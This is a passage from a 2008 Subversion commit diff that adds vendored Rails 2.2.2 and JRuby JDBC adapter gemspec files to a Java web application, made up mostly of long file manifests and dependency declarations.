"test/fixtures/symlink_parent/symlinked_layout.erb", "test/fixtures/test", "test/fixtures/test/_counter.html.erb", "test/fixtures/test/_customer.erb", "test/fixtures/test/_customer_counter.erb", "test/fixtures/test/_customer_greeting.erb", "test/fixtures/test/_customer_with_var.erb", "test/fixtures/test/_form.erb", "test/fixtures/test/_hash_greeting.erb", "test/fixtures/test/_hash_object.erb", "test/fixtures/test/_hello.builder", "test/fixtures/test/_labelling_form.erb", "test/fixtures/test/_layout_for_block_with_args.html.erb", "test/fixtures/test/_layout_for_partial.html.erb", "test/fixtures/test/_local_inspector.html.erb", "test/fixtures/test/_partial.erb", "test/fixtures/test/_partial.html.erb", "test/fixtures/test/_partial.js.erb", "test/fixtures/test/_partial_for_use_in_layout.html.erb", "test/fixtures/test/_partial_only.erb", "test/fixtures/test/_partial_with_only_html_version.html.erb", "test/fixtures/test/_person.erb", "test/fixtures/test/_raise.html.erb", "test/fixtures/test/action_talk_to_layout.erb", "test/fixtures/test/calling_partial_with_layout.html.erb", "test/fixtures/test/capturing.erb", "test/fixtures/test/content_for.erb", "test/fixtures/test/content_for_concatenated.erb", "test/fixtures/test/content_for_with_parameter.erb", "test/fixtures/test/delete_with_js.rjs", "test/fixtures/test/dot.directory", "test/fixtures/test/dot.directory/render_file_with_ivar.erb", "test/fixtures/test/enum_rjs_test.rjs", "test/fixtures/test/formatted_html_erb.html.erb", "test/fixtures/test/formatted_xml_erb.builder", "test/fixtures/test/formatted_xml_erb.html.erb", "test/fixtures/test/formatted_xml_erb.xml.erb", "test/fixtures/test/greeting.erb", "test/fixtures/test/greeting.js.rjs", "test/fixtures/test/hello.builder", "test/fixtures/test/hello_world.erb", "test/fixtures/test/hello_world_container.builder", "test/fixtures/test/hello_world_from_rxml.builder", "test/fixtures/test/hello_world_with_layout_false.erb", "test/fixtures/test/hello_xml_world.builder", "test/fixtures/test/hyphen-ated.erb", "test/fixtures/test/implicit_content_type.atom.builder", "test/fixtures/test/list.erb", "test/fixtures/test/nested_layout.erb", "test/fixtures/test/non_erb_block_content_for.builder", "test/fixtures/test/potential_conflicts.erb", "test/fixtures/test/render_file_from_template.html.erb", "test/fixtures/test/render_file_with_ivar.erb", "test/fixtures/test/render_file_with_locals.erb", "test/fixtures/test/render_to_string_test.erb", "test/fixtures/test/sub_template_raise.html.erb", "test/fixtures/test/template.erb", "test/fixtures/test/update_element_with_capture.erb", "test/fixtures/test/using_layout_around_block.html.erb", "test/fixtures/test/using_layout_around_block_with_args.html.erb", "test/fixtures/topic.rb", "test/fixtures/topics", "test/fixtures/topics/_topic.html.erb", "test/fixtures/topics.yml", "test/template", "test/template/active_record_helper_i18n_test.rb", "test/template/active_record_helper_test.rb", "test/template/asset_tag_helper_test.rb", "test/template/atom_feed_helper_test.rb", "test/template/benchmark_helper_test.rb", "test/template/compiled_templates_test.rb", "test/template/date_helper_i18n_test.rb", "test/template/date_helper_test.rb", "test/template/erb_util_test.rb", "test/template/form_helper_test.rb", "test/template/form_options_helper_test.rb", "test/template/form_tag_helper_test.rb", "test/template/javascript_helper_test.rb", "test/template/number_helper_i18n_test.rb", "test/template/number_helper_test.rb", "test/template/prototype_helper_test.rb", "test/template/record_tag_helper_test.rb", "test/template/render_test.rb", "test/template/sanitize_helper_test.rb", "test/template/scriptaculous_helper_test.rb", "test/template/tag_helper_test.rb", "test/template/test_test.rb", "test/template/text_helper_test.rb", "test/template/translation_helper_test.rb", "test/template/url_helper_test.rb", "test/testing_sandbox.rb"]
+  s.has_rdoc = true
+  s.homepage = %q{http://www.rubyonrails.org}
+  s.require_paths = ["lib"]
+  s.requirements = ["none"]
+  s.rubyforge_project = %q{actionpack}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Web-flow and rendering framework putting the VC in MVC.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_runtime_dependency(%q<activesupport>, ["= 2.2.2"])
+    else
+      s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+    end
+  else
+    s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-2.2.2.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-2.2.2.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-2.2.2.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{activerecord}
+  s.version = "2.2.2"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["David Heinemeier Hansson"]
+  s.autorequire = %q{active_record}
+  s.date = %q{2008-11-21}
+  s.description = %q{Implements the ActiveRecord pattern (Fowler, PoEAA) for ORM. It ties database tables and classes together for business objects, like Customer or Subscription, that can find, save, and destroy themselves without resorting to manual SQL.}
+  s.email = %q{david at loudthinking.com}
+  s.extra_rdoc_files = ["README"]
+  s.files = ["Rakefile", "install.rb", "README", "RUNNING_UNIT_TESTS", "CHANGELOG", "lib/active_record", "lib/active_record/aggregations.rb", "lib/active_record/association_preload.rb", "lib/active_record/associations", "lib/active_record/associations/association_collection.rb", "lib/active_record/associations/association_proxy.rb", "lib/active_record/associations/belongs_to_association.rb", "lib/active_record/associations/belongs_to_polymorphic_association.rb", "lib/active_record/associations/has_and_belongs_to_many_association.rb", "lib/active_record/associations/has_many_association.rb", "lib/active_record/associations/has_many_through_association.rb", "lib/active_record/associations/has_one_association.rb", "lib/active_record/associations/has_one_through_association.rb", "lib/active_record/associations.rb", "lib/active_record/attribute_methods.rb", "lib/active_record/base.rb", "lib/active_record/calculations.rb", "lib/active_record/callbacks.rb", "lib/active_record/connection_adapters", "lib/active_record/connection_adapters/abstract", "lib/active_record/connection_adapters/abstract/connection_pool.rb", "lib/active_record/connection_adapters/abstract/connection_specification.rb", "lib/active_record/connection_adapters/abstract/database_statements.rb", "lib/active_record/connection_adapters/abstract/query_cache.rb", "lib/active_record/connection_adapters/abstract/quoting.rb", "lib/active_record/connection_adapters/abstract/schema_definitions.rb", "lib/active_record/connection_adapters/abstract/schema_statements.rb", "lib/active_record/connection_adapters/abstract_adapter.rb", "lib/active_record/connection_adapters/mysql_adapter.rb", "lib/active_record/connection_adapters/postgresql_adapter.rb", "lib/active_record/connection_adapters/sqlite3_adapter.rb", "lib/active_record/connection_adapters/sqlite_adapter.rb", "lib/active_record/dirty.rb", "lib/active_record/dynamic_finder_match.rb", "lib/active_record/fixtures.rb", "lib/active_record/i18n_interpolation_deprecation.rb", "lib/active_record/locale", "lib/active_record/locale/en.yml", "lib/active_record/locking", "lib/active_record/locking/optimistic.rb", "lib/active_record/locking/pessimistic.rb", "lib/active_record/migration.rb", "lib/active_record/named_scope.rb", "lib/active_record/observer.rb", "lib/active_record/query_cache.rb", "lib/active_record/reflection.rb", "lib/active_record/schema.rb", "lib/active_record/schema_dumper.rb", "lib/active_record/serialization.rb", "lib/active_record/serializers", "lib/active_record/serializers/json_serializer.rb", "lib/active_record/serializers/xml_serializer.rb", "lib/active_record/test_case.rb", "lib/active_record/timestamp.rb", "lib/active_record/transactions.rb", "lib/active_record/validations.rb", "lib/active_record/version.rb", "lib/active_record.rb", "lib/activerecord.rb", "test/assets", "test/assets/example.log", "test/assets/flowers.jpg", "test/cases", "test/cases/aaa_create_tables_test.rb", "test/cases/active_schema_test_mysql.rb", "test/cases/active_schema_test_postgresql.rb", "test/cases/adapter_test.rb", "test/cases/aggregations_test.rb", "test/cases/ar_schema_test.rb", "test/cases/associations", "test/cases/associations/belongs_to_associations_test.rb", "test/cases/associations/callbacks_test.rb", "test/cases/associations/cascaded_eager_loading_test.rb", "test/cases/associations/eager_load_includes_full_sti_class_test.rb", "test/cases/associations/eager_load_nested_include_test.rb", "test/cases/associations/eager_singularization_test.rb", "test/cases/associations/eager_test.rb", "test/cases/associations/extension_test.rb", "test/cases/associations/has_and_belongs_to_many_associations_test.rb", "test/cases/associations/has_many_associations_test.rb", "test/cases/associations/has_many_through_associations_test.rb", "test/cases/associations/has_one_associations_test.rb", "test/cases/associations/has_one_through_associations_test.rb", "test/cases/associations/inner_join_association_test.rb", "test/cases/associations/join_model_test.rb", "test/cases/associations_test.rb", "test/cases/attribute_methods_test.rb", "test/cases/base_test.rb", "test/cases/binary_test.rb", "test/cases/calculations_test.rb", "test/cases/callbacks_observers_test.rb", "test/cases/callbacks_test.rb", "test/cases/class_inheritable_attributes_test.rb", "test/cases/column_alias_test.rb", "test/cases/column_definition_test.rb", "test/cases/connection_test_firebird.rb", "test/cases/connection_test_mysql.rb", "test/cases/copy_table_test_sqlite.rb", "test/cases/database_statements_test.rb", "test/cases/datatype_test_postgresql.rb", "test/cases/date_time_test.rb", "test/cases/default_test_firebird.rb", "test/cases/defaults_test.rb", "test/cases/deprecated_finder_test.rb", "test/cases/dirty_test.rb", "test/cases/finder_respond_to_test.rb", "test/cases/finder_test.rb", "test/cases/fixtures_test.rb", "test/cases/helper.rb", "test/cases/i18n_test.rb", "test/cases/inheritance_test.rb", "test/cases/invalid_date_test.rb", "test/cases/json_serialization_test.rb", "test/cases/lifecycle_test.rb", "test/cases/locking_test.rb", "test/cases/method_scoping_test.rb", "test/cases/migration_test.rb", "test/cases/migration_test_firebird.rb", "test/cases/mixin_test.rb", "test/cases/modules_test.rb", "test/cases/multiple_db_test.rb", "test/cases/named_scope_test.rb", "test/cases/pk_test.rb", "test/cases/pooled_connections_test.rb", "test/cases/query_cache_test.rb", "test/cases/readonly_test.rb", "test/cases/reflection_test.rb", "test/cases/reload_models_test.rb", "test/cases/reserved_word_test_mysql.rb", "test/cases/sanitize_test.rb", "test/cases/schema_authorization_test_postgresql.rb", "test/cases/schema_dumper_test.rb", "test/cases/schema_test_postgresql.rb", "test/cases/serialization_test.rb", "test/cases/synonym_test_oracle.rb", "test/cases/transactions_test.rb", "test/cases/unconnected_test.rb", "test/cases/validations_i18n_test.rb", "test/cases/validations_test.rb", "test/cases/xml_serialization_test.rb", "test/config.rb", "test/connections", "test/connections/native_db2", "test/connections/native_db2/connection.rb", "test/connections/native_firebird", "test/connections/native_firebird/connection.rb", "test/connections/native_frontbase", "test/connections/native_frontbase/connection.rb", "test/connections/native_mysql", "test/connections/native_mysql/connection.rb", "test/connections/native_openbase", "test/connections/native_openbase/connection.rb", "test/connections/native_oracle", "test/connections/native_oracle/connection.rb", "test/connections/native_postgresql", "test/connections/native_postgresql/connection.rb", "test/connections/native_sqlite", "test/connections/native_sqlite/connection.rb", "test/connections/native_sqlite3", "test/connections/native_sqlite3/connection.rb", "test/connections/native_sqlite3/in_memory_connection.rb", "test/connections/native_sybase", "test/connections/native_sybase/connection.rb", "test/fixtures", "test/fixtures/accounts.yml", "test/fixtures/all", "test/fixtures/all/developers.yml", "test/fixtures/all/people.csv", "test/fixtures/all/tasks.yml", "test/fixtures/author_addresses.yml", "test/fixtures/author_favorites.yml", "test/fixtures/authors.yml", "test/fixtures/binaries.yml", "test/fixtures/books.yml", "test/fixtures/categories", "test/fixtures/categories/special_categories.yml", "test/fixtures/categories/subsubdir", "test/fixtures/categories/subsubdir/arbitrary_filename.yml", "test/fixtures/categories.yml", "test/fixtures/categories_ordered.yml", "test/fixtures/categories_posts.yml", "test/fixtures/categorizations.yml", "test/fixtures/clubs.yml", "test/fixtures/comments.yml", "test/fixtures/companies.yml", "test/fixtures/computers.yml", "test/fixtures/courses.yml", "test/fixtures/customers.yml", "test/fixtures/developers.yml", "test/fixtures/developers_projects.yml", "test/fixtures/edges.yml", "test/fixtures/entrants.yml", "test/fixtures/fixture_database.sqlite3", "test/fixtures/fixture_database_2.sqlite3", "test/fixtures/fk_test_has_fk.yml", "test/fixtures/fk_test_has_pk.yml", "test/fixtures/funny_jokes.yml", "test/fixtures/items.yml", "test/fixtures/jobs.yml", "test/fixtures/legacy_things.yml", "test/fixtures/mateys.yml", "test/fixtures/members.yml", "test/fixtures/memberships.yml", "test/fixtures/minimalistics.yml", "test/fixtures/mixed_case_monkeys.yml", "test/fixtures/mixins.yml", "test/fixtures/movies.yml", "test/fixtures/naked", "test/fixtures/naked/csv", "test/fixtures/naked/csv/accounts.csv", "test/fixtures/naked/yml", "test/fixtures/naked/yml/accounts.yml", "test/fixtures/naked/yml/companies.yml", "test/fixtures/naked/yml/courses.yml", "test/fixtures/organizations.yml", "test/fixtures/owners.yml", "test/fixtures/parrots.yml", "test/fixtures/parrots_pirates.yml", "test/fixtures/people.yml", "test/fixtures/pets.yml", "test/fixtures/pirates.yml", "test/fixtures/posts.yml", "test/fixtures/price_estimates.yml", "test/fixtures/projects.yml", "test/fixtures/readers.yml", "test/fixtures/references.yml", "test/fixtures/reserved_words", "test/fixtures/reserved_words/distinct.yml", "test/fixtures/reserved_words/distincts_selects.yml", "test/fixtures/reserved_words/group.yml", "test/fixtures/reserved_words/select.yml", "test/fixtures/reserved_words/values.yml", "test/fixtures/ships.yml", "test/fixtures/sponsors.yml", "test/fixtures/subscribers.yml", "test/fixtures/subscriptions.yml", "test/fixtures/taggings.yml", "test/fixtures/tags.yml", "test/fixtures/tasks.yml", "test/fixtures/topics.yml", "test/fixtures/treasures.yml", "test/fixtures/vertices.yml", "test/fixtures/warehouse-things.yml", "test/migrations", "test/migrations/broken", "test/migrations/broken/100_migration_that_raises_exception.rb", "test/migrations/decimal", "test/migrations/decimal/1_give_me_big_numbers.rb", "test/migrations/duplicate", "test/migrations/duplicate/1_people_have_last_names.rb", "test/migrations/duplicate/2_we_need_reminders.rb", "test/migrations/duplicate/3_foo.rb", "test/migrations/duplicate/3_innocent_jointable.rb", "test/migrations/duplicate_names", "test/migrations/duplicate_names/20080507052938_chunky.rb", "test/migrations/duplicate_names/20080507053028_chunky.rb", "test/migrations/interleaved", "test/migrations/interleaved/pass_1", "test/migrations/interleaved/pass_1/3_innocent_jointable.rb", "test/migrations/interleaved/pass_2", "test/migrations/interleaved/pass_2/1_people_have_last_names.rb", "test/migrations/interleaved/pass_2/3_innocent_jointable.rb", "test/migrations/interleaved/pass_3", "test/migrations/interleaved/pass_3/1_people_have_last_names.rb", "test/migrations/interleaved/pass_3/2_i_raise_on_down.rb", "test/migrations/interleaved/pass_3/3_innocent_jointable.rb", "test/migrations/missing", "test/migrations/missing/1000_people_have_middle_names.rb", "test/migrations/missing/1_people_have_last_names.rb", "test/migrations/missing/3_we_need_reminders.rb", "test/migrations/missing/4_innocent_jointable.rb", "test/migrations/valid", "test/migrations/valid/1_people_have_last_names.rb", "test/migrations/valid/2_we_need_reminders.rb", "test/migrations/valid/3_innocent_jointable.rb", "test/models", "test/models/author.rb", "test/models/auto_id.rb", "test/models/binary.rb", "test/models/book.rb", "test/models/categorization.rb", "test/models/category.rb", "test/models/citation.rb", "test/models/club.rb", "test/models/column_name.rb", "test/models/comment.rb", "test/models/company.rb", "test/models/company_in_module.rb", "test/models/computer.rb", "test/models/contact.rb", "test/models/course.rb", "test/models/customer.rb", "test/models/default.rb", "test/models/developer.rb", "test/models/edge.rb", "test/models/entrant.rb", "test/models/guid.rb", "test/models/item.rb", "test/models/job.rb", "test/models/joke.rb", "test/models/keyboard.rb", "test/models/legacy_thing.rb", "test/models/matey.rb", "test/models/member.rb", "test/models/member_detail.rb", "test/models/membership.rb", "test/models/minimalistic.rb", "test/models/mixed_case_monkey.rb", "test/models/movie.rb", "test/models/order.rb", "test/models/organization.rb", "test/models/owner.rb", "test/models/parrot.rb", "test/models/person.rb", "test/models/pet.rb", "test/models/pirate.rb", "test/models/post.rb", "test/models/price_estimate.rb", "test/models/project.rb", "test/models/reader.rb", "test/models/reference.rb", "test/models/reply.rb", "test/models/ship.rb", "test/models/sponsor.rb", "test/models/subject.rb", "test/models/subscriber.rb", "test/models/subscription.rb", "test/models/tag.rb", "test/models/tagging.rb", "test/models/task.rb", "test/models/topic.rb", "test/models/treasure.rb", "test/models/vertex.rb", "test/models/warehouse_thing.rb", "test/schema", "test/schema/mysql_specific_schema.rb", "test/schema/postgresql_specific_schema.rb", "test/schema/schema.rb", "test/schema/schema2.rb", "test/schema/sqlite_specific_schema.rb", "examples/associations.png"]
+  s.has_rdoc = true
+  s.homepage = %q{http://www.rubyonrails.org}
+  s.rdoc_options = ["--main", "README"]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{activerecord}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Implements the ActiveRecord pattern for ORM.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_runtime_dependency(%q<activesupport>, ["= 2.2.2"])
+    else
+      s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+    end
+  else
+    s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbc-adapter-0.9.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbc-adapter-0.9.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbc-adapter-0.9.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{activerecord-jdbc-adapter}
+  s.version = "0.9"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["Nick Sieger, Ola Bini and JRuby contributors"]
+  s.date = %q{2008-11-26}
+  s.description = %q{activerecord-jdbc-adapter is a database adapter for Rails' ActiveRecord component that can be used with JRuby[http://www.jruby.org/]. It allows use of virtually any JDBC-compliant database with your JRuby on Rails application.}
+  s.email = %q{nick at nicksieger.com, ola.bini at gmail.com}
+  s.extra_rdoc_files = ["History.txt", "Manifest.txt", "README.txt", "LICENSE.txt"]
+  s.files = ["History.txt", "Manifest.txt", "README.txt", "Rakefile", "LICENSE.txt", "lib/active_record/connection_adapters/cachedb_adapter.rb", "lib/active_record/connection_adapters/derby_adapter.rb", "lib/active_record/connection_adapters/h2_adapter.rb", "lib/active_record/connection_adapters/hsqldb_adapter.rb", "lib/active_record/connection_adapters/informix_adapter.rb", "lib/active_record/connection_adapters/jdbc_adapter.rb", "lib/active_record/connection_adapters/jdbc_adapter_spec.rb", "lib/active_record/connection_adapters/jndi_adapter.rb", "lib/active_record/connection_adapters/mysql_adapter.rb", "lib/active_record/connection_adapters/oracle_adapter.rb", "lib/active_record/connection_adapters/postgresql_adapter.rb", "lib/active_record/connection_adapters/sqlite3_adapter.rb", "lib/jdbc_adapter/jdbc_cachedb.rb", "lib/jdbc_adapter/jdbc_db2.rb", "lib/jdbc_adapter/jdbc_derby.rb", "lib/jdbc_adapter/jdbc_firebird.rb", "lib/jdbc_adapter/jdbc_hsqldb.rb", "lib/jdbc_adapter/jdbc_informix.rb", "lib/jdbc_adapter/jdbc_mimer.rb", "lib/jdbc_adapter/jdbc_mssql.rb", "lib/jdbc_adapter/jdbc_mysql.rb", "lib/jdbc_adapter/jdbc_oracle.rb", "lib/jdbc_adapter/jdbc_postgre.rb", "lib/jdbc_adapter/jdbc_sqlite3.rb", "lib/jdbc_adapter/jdbc_sybase.rb", "lib/jdbc_adapter/missing_functionality_helper.rb", "lib/jdbc_adapter/rake_tasks.rb", "lib/jdbc_adapter/tsql_helper.rb", "lib/jdbc_adapter/version.rb", "lib/jdbc_adapter.rb", "lib/jdbc_adapter/jdbc_adapter_internal.jar", "test/activerecord/connection_adapters/type_conversion_test.rb", "test/activerecord/connections/native_jdbc_mysql/connection.rb", "test/cachedb_simple_test.rb", "test/db/cachedb.rb", "test/db/db2.rb", "test/db/derby.rb", "test/db/h2.rb", "test/db/hsqldb.rb", "test/db/informix.rb", "test/db/jdbc.rb", "test/db/jndi_config.rb", "test/db/logger.rb", "test/db/mssql.rb", "test/db/mysql.rb", "test/db/oracle.rb", "test/db/postgres.rb", "test/db/sqlite3.rb", "test/db2_simple_test.rb", "test/derby_multibyte_test.rb", "test/derby_simple_test.rb", "test/generic_jdbc_connection_test.rb", "test/h2_simple_test.rb", "test/has_many_through.rb", "test/hsqldb_simple_test.rb", "test/informix_simple_test.rb", "test/jdbc_adapter/jdbc_db2_test.rb", "test/jdbc_adapter/jdbc_sybase_test.rb", "test/jdbc_common.rb", "test/jndi_callbacks_test.rb", "test/jndi_test.rb", "test/manualTestDatabase.rb", "test/minirunit/testConnect.rb", "test/minirunit/testH2.rb", "test/minirunit/testHsqldb.rb", "test/minirunit/testLoadActiveRecord.rb", "test/minirunit/testMysql.rb", "test/minirunit/testRawSelect.rb", "test/minirunit.rb", "test/models/add_not_null_column_to_table.rb", "test/models/auto_id.rb", "test/models/data_types.rb", "test/models/entry.rb", "test/models/reserved_word.rb", "test/mssql_simple_test.rb", "test/mysql_multibyte_test.rb", "test/mysql_simple_test.rb", "test/oracle_simple_test.rb", "test/postgres_reserved_test.rb", "test/postgres_simple_test.rb", "test/simple.rb", "test/sqlite3_simple_test.rb", "lib/jdbc_adapter/jdbc.rake", "src/java/jdbc_adapter/JdbcAdapterInternalService.java", "src/java/jdbc_adapter/JdbcConnectionFactory.java", "src/java/jdbc_adapter/JdbcDerbySpec.java", "src/java/jdbc_adapter/JdbcMySQLSpec.java", "src/java/jdbc_adapter/SQLBlock.java"]
+  s.has_rdoc = true
+  s.homepage = %q{http://jruby-extras.rubyforge.org/activerecord-jdbc-adapter}
+  s.rdoc_options = ["--main", "README.txt"]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{jruby-extras}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{JDBC adapter for ActiveRecord, for use within JRuby on Rails.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+    else
+    end
+  else
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbcmysql-adapter-0.9.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbcmysql-adapter-0.9.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbcmysql-adapter-0.9.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{activerecord-jdbcmysql-adapter}
+  s.version = "0.9"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["Nick Sieger, Ola Bini and JRuby contributors"]
+  s.date = %q{2008-11-26}
+  s.description = %q{Install this gem to use MySQL with JRuby on Rails.}
+  s.email = %q{nick at nicksieger.com, ola.bini at gmail.com}
+  s.extra_rdoc_files = ["Manifest.txt", "README.txt", "LICENSE.txt"]
+  s.files = ["Manifest.txt", "Rakefile", "README.txt", "LICENSE.txt", "lib/active_record", "lib/active_record/connection_adapters", "lib/active_record/connection_adapters/jdbcmysql_adapter.rb"]
+  s.has_rdoc = true
+  s.homepage = %q{http://jruby-extras.rubyforge.org/ActiveRecord-JDBC}
+  s.rdoc_options = ["--main", "README.txt"]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{jruby-extras}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{MySQL JDBC adapter for JRuby on Rails.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_runtime_dependency(%q<activerecord-jdbc-adapter>, ["= 0.9"])
+      s.add_runtime_dependency(%q<jdbc-mysql>, [">= 5.0.4"])
+    else
+      s.add_dependency(%q<activerecord-jdbc-adapter>, ["= 0.9"])
+      s.add_dependency(%q<jdbc-mysql>, [">= 5.0.4"])
+    end
+  else
+    s.add_dependency(%q<activerecord-jdbc-adapter>, ["= 0.9"])
+    s.add_dependency(%q<jdbc-mysql>, [">= 5.0.4"])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/activeresource-2.2.2.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/activeresource-2.2.2.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/activeresource-2.2.2.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{activeresource}
+  s.version = "2.2.2"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["David Heinemeier Hansson"]
+  s.autorequire = %q{active_resource}
+  s.date = %q{2008-11-20}
+  s.description = %q{Wraps web resources in model classes that can be manipulated through XML over REST.}
+  s.email = %q{david at loudthinking.com}
+  s.extra_rdoc_files = ["README"]
+  s.files = ["Rakefile", "README", "CHANGELOG", "lib/active_resource", "lib/active_resource/base.rb", "lib/active_resource/connection.rb", "lib/active_resource/custom_methods.rb", "lib/active_resource/formats", "lib/active_resource/formats/json_format.rb", "lib/active_resource/formats/xml_format.rb", "lib/active_resource/formats.rb", "lib/active_resource/http_mock.rb", "lib/active_resource/validations.rb", "lib/active_resource/version.rb", "lib/active_resource.rb", "lib/activeresource.rb", "test/abstract_unit.rb", "test/authorization_test.rb", "test/base", "test/base/custom_methods_test.rb", "test/base/equality_test.rb", "test/base/load_test.rb", "test/base_errors_test.rb", "test/base_test.rb", "test/connection_test.rb", "test/fixtures", "test/fixtures/beast.rb", "test/fixtures/customer.rb", "test/fixtures/person.rb", "test/fixtures/street_address.rb", "test/format_test.rb", "test/setter_trap.rb"]
+  s.has_rdoc = true
+  s.homepage = %q{http://www.rubyonrails.org}
+  s.rdoc_options = ["--main", "README"]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{activeresource}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Think Active Record for web resources.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_runtime_dependency(%q<activesupport>, ["= 2.2.2"])
+    else
+      s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+    end
+  else
+    s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/activesupport-2.2.2.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/activesupport-2.2.2.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/activesupport-2.2.2.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{activesupport}
+  s.version = "2.2.2"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["David Heinemeier Hansson"]
+  s.date = %q{2008-11-21}
+  s.description = %q{Utility library which carries commonly used classes and goodies from the Rails framework}
+  s.email = %q{david at loudthinking.com}
+  s.files = ["CHANGELOG", "README", "lib/active_support", "lib/active_support/base64.rb", "lib/active_support/basic_object.rb", "lib/active_support/buffered_logger.rb", "lib/active_support/cache", "lib/active_support/cache/compressed_mem_cache_store.rb", "lib/active_support/cache/drb_store.rb", "lib/active_support/cache/file_store.rb", "lib/active_support/cache/mem_cache_store.rb", "lib/active_support/cache/memory_store.rb", "lib/active_support/cache/synchronized_memory_store.rb", "lib/active_support/cache.rb", "lib/active_support/callbacks.rb", "lib/active_support/core_ext", "lib/active_support/core_ext/array", "lib/active_support/core_ext/array/access.rb", "lib/active_support/core_ext/array/conversions.rb", "lib/active_support/core_ext/array/extract_options.rb", "lib/active_support/core_ext/array/grouping.rb", "lib/active_support/core_ext/array/random_access.rb", "lib/active_support/core_ext/array.rb", "lib/active_support/core_ext/base64", "lib/active_support/core_ext/base64/encoding.rb", "lib/active_support/core_ext/base64.rb", "lib/active_support/core_ext/benchmark.rb", "lib/active_support/core_ext/bigdecimal", "lib/active_support/core_ext/bigdecimal/conversions.rb", "lib/active_support/core_ext/bigdecimal.rb", "lib/active_support/core_ext/blank.rb", "lib/active_support/core_ext/cgi", "lib/active_support/core_ext/cgi/escape_skipping_slashes.rb", "lib/active_support/core_ext/cgi.rb", "lib/active_support/core_ext/class", "lib/active_support/core_ext/class/attribute_accessors.rb", "lib/active_support/core_ext/class/delegating_attributes.rb", "lib/active_support/core_ext/class/inheritable_attributes.rb", "lib/active_support/core_ext/class/removal.rb", "lib/active_support/core_ext/class.rb", "lib/active_support/core_ext/date", "lib/active_support/core_ext/date/behavior.rb", "lib/active_support/core_ext/date/calculations.rb", "lib/active_support/core_ext/date/conversions.rb", "lib/active_support/core_ext/date.rb", "lib/active_support/core_ext/date_time", "lib/active_support/core_ext/date_time/calculations.rb", 